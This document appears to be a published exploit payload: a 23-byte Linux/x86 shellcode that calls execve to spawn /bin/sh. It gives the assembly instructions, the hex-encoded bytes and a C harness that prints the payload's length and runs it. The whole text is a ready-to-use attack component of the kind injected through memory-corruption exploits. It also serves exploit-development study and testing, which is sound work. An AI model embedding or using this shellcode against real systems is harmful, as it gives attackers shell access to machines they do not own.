******************************************************* * Linux/x86 execve /bin/sh shellcode 23 bytes * ******************************************************* * Author: Hamza Megahed * ******************************************************* * Twitter: @Hamza_Mega * ******************************************************* * blog: hamza-mega[dot]blogspot[dot]com * ******************************************************* * E-mail: hamza[dot]megahed[at]gmail[dot]com * ******************************************************* xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx mov %eax,%ecx mov %eax,%edx mov $0xb,%al int $0x80 ******************************************************* #include <stdio.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }